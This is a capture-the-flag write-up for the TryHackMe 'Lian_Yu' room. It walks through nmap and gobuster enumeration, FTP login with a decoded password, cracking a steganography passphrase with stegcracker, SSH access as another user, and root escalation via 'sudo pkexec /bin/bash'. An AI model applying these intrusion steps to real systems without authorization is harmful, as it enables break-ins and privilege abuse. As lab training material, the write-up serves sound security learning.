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Lian_Yu

Date: 30, June, 2021

Author: Dhilip Sanjay S

Click Here to go to the TryHackMe room.

Enumeration

Nmap

nmap -sC -sV -p- 10.10.4.71 -oN nmap.out
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 11:51 IST
Nmap scan report for 10.10.4.71
Host is up (0.17s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          40210/udp6  status
|   100024  1          42267/tcp   status
|   100024  1          47133/udp   status
|_  100024  1          54856/tcp6  status
42267/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 445.65 seconds

Gobuster

$ gobuster dir -u http://10.10.4.71 -w /usr/share/wordlists/dirb/big.txt -t 50 | tee gobuster.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.4.71
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/30 11:55:15 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/island               (Status: 301) [Size: 233] [--> http://10.10.4.71/island/]
/server-status        (Status: 403) [Size: 199]                                
                                                                               
===============================================================
2021/06/30 11:56:23 Finished
===============================================================

Home Page

Home Page

Island Folder

Island

FTP

  • vigilante is a valid username for FTP.
  • But we don't have the password!!

Digging Deeper

What is the Web Directory you found?

  • Answer: 2100
  • Steps to Reproduce:
    • Perform a gobuster dir search inside the /island/ folder
gobuster dir -u http://10.10.4.71/island/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 | tee gobuster-sec.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.4.71/island/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/30 12:23:21 Starting gobuster in directory enumeration mode
===============================================================
/2100                 (Status: 301) [Size: 238] [--> http://10.10.4.71/island/2100/]

File Extension Clue

  • The Youtube video seems was not found!!

2100

  • But we have a clue about the extension of the file .ticket.

What is the file name you found?

  • Answer: green_arrow.ticket
  • Steps to Reproduce:
    • Perform a gobuster dir search inside the /island/2100/ folder.
    • Use the extension ticket
$ gobuster dir -u http://10.10.4.71/island/2100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x ticket -t 50 | tee gobuster-third.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.4.71/island/2100
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ticket
[+] Timeout:                 10s
===============================================================
2021/06/30 12:37:55 Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]

FTP Access

What is the FTP Password?

  • Visit island/2100/green_arrow.ticket.
  • You'll find the base58 encoded version of the FTP password
$ curl http://10.10.4.71/island/2100/green_arrow.ticket 

This is just a token to get into Queen's Gambit(Ship)

<REDACTED>

$ echo <REDACTED> | base58 -d
<REDACTED>

Download the files

  • Download all the files in the ftp folder:
$ ftp 10.10.4.71
Connected to 10.10.4.71.
220 (vsFTPd 3.0.2)
Name (10.10.4.71:root): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.

Other users

  • We can also check the other users (can be used later) by escaping out of that directory:
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    2 1000     1000         4096 May 01  2020 slade
drwxr-xr-x    2 1001     1001         4096 May 05  2020 vigilante
226 Directory send OK.
  • I couldn't find anyother information with FTP!

Steganography

  • In the attacker machine, use stegcracker and steghide over the image aa.jpg:
$ steghide  extract -sf  aa.jpg 
Enter passphrase: 
steghide: could not extract any data with that passphrase!

$ stegcracker aa.jpg 
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2021 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which 
will blast through the rockyou.txt wordlist within 1.9 second as opposed 
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'aa.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: <REDACTED>
Tried 132 passwords
Your file has been written to: aa.jpg.out
<REDACTED>

$ file aa.jpg.out 
aa.jpg.out: Zip archive data, at least v2.0 to extract
$ unzip aa.jpg.out
Archive:  aa.jpg.out
  inflating: passwd.txt              
  inflating: shado
  • You can use zsteg to analyze other png images.

Initial Access

What is the file name with SSH password?

  • Answer: shado
  • Steps to Reproduce:
$ cat passwd.txt 
This is your visa to Land on Lian_Yu # Just for Fun ***


a small Note about it


Having spent years on the island, Oliver learned how to be resourceful and 
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.

$ cat shado 
REDACTED

SSH Access - slade

  • The password didn't work the vigilante user.
  • By checking it for the other user slade:
ssh [email protected]
[email protected]'s password: 
              Way To SSH...
          Loading.........Done.. 
        Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝


  ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
  ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
  ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
  ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
  ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
  ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

slade@LianYu:~$

user.txt

slade@LianYu:~$ ls
user.txt
slade@LianYu:~$ cat user.txt 
THM{REDACTED}
        --Felicity Smoak

Privilege Escalation

  • Check slade user's sudo permission.
slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
  • He can run pkexec. So, we can escalate privilege:
slade@LianYu:~$ sudo pkexec /bin/bash
root@LianYu:~# whoami
root

root.txt

  • Find the root flag inside root directory:
root@LianYu:~# cd /root
root@LianYu:~# ls
root.txt
root@LianYu:~# cat root.txt 
                          Mission accomplished



You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE. 



THM{REDACTED}
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825
  • It was a fun and interesting machine to root!!